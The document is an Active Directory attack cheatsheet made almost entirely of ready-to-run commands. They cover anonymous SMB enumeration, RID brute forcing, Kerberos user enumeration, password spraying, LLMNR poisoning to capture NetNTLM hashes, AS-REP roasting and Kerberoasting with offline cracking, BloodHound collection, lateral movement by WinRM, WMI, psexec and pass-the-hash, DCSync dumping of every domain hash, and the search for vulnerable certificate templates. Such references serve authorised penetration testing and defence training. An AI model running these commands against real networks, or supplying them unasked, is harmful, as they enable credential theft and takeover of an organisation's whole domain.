Active Directory — Cheatsheet

Enumerate (null / creds)

List SMB shares with a null session.

$nxc smb $IP -u '' -p '' --shares

Harvest domain usernames by cycling RIDs as guest.

$nxc smb $IP -u guest -p '' --rid-brute

With a valid user, pull users, groups, and the password policy.

$nxc smb $IP -u $USER -p $PASS --users --groups --pass-pol

Do a full unauthenticated SMB/LDAP enumeration sweep.

$enum4linux-ng -A $IP

User & password harvesting

Validate usernames against Kerberos without causing lockouts.

$kerbrute userenum -d $DOMAIN --dc $DC users.txt

Spray one password across all users (watch the lockout policy).

$nxc smb $DC -u users.txt -p 'Winter2024!' --continue-on-success

Poison LLMNR/NBT-NS on the wire to capture NetNTLM hashes.

$sudo responder -I tun0 -wv

Roasting

AS-REP roast users that don't require Kerberos pre-auth.

$impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat

Crack the AS-REP hashes offline.

$hashcat -m 18200 asrep.hash rockyou.txt

Kerberoast service accounts to grab their TGS hashes.

$impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile spns.hash

Crack the Kerberoast (TGS) hashes offline.

$hashcat -m 13100 spns.hash rockyou.txt

BloodHound collection

Collect all AD relationships remotely for BloodHound.

$bloodhound-python -u $USER -p $PASS -d $DOMAIN -c all -ns $DC --zip

Alternative collector built into netexec.

$nxc ldap $DC -u $USER -p $PASS --bloodhound --collection All

Lateral movement

Get an interactive shell over WinRM.

$evil-winrm -i $IP -u $USER -p $PASS

Run commands over WMI (quieter than psexec).

$impacket-wmiexec $DOMAIN/$USER:$PASS@$IP

Get a SYSTEM shell by dropping a service (psexec-style).

$impacket-psexec $DOMAIN/$USER:$PASS@$IP

Authenticate with an NTLM hash instead of a password (pass-the-hash).

$nxc smb $IP -u $USER -H <ntlm_hash>

Domain compromise

DCSync every domain hash (needs replication rights).

$impacket-secretsdump $DOMAIN/$USER:$PASS@$DC -just-dc

Find abusable certificate templates (ADCS ESC1-8).

$certipy find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout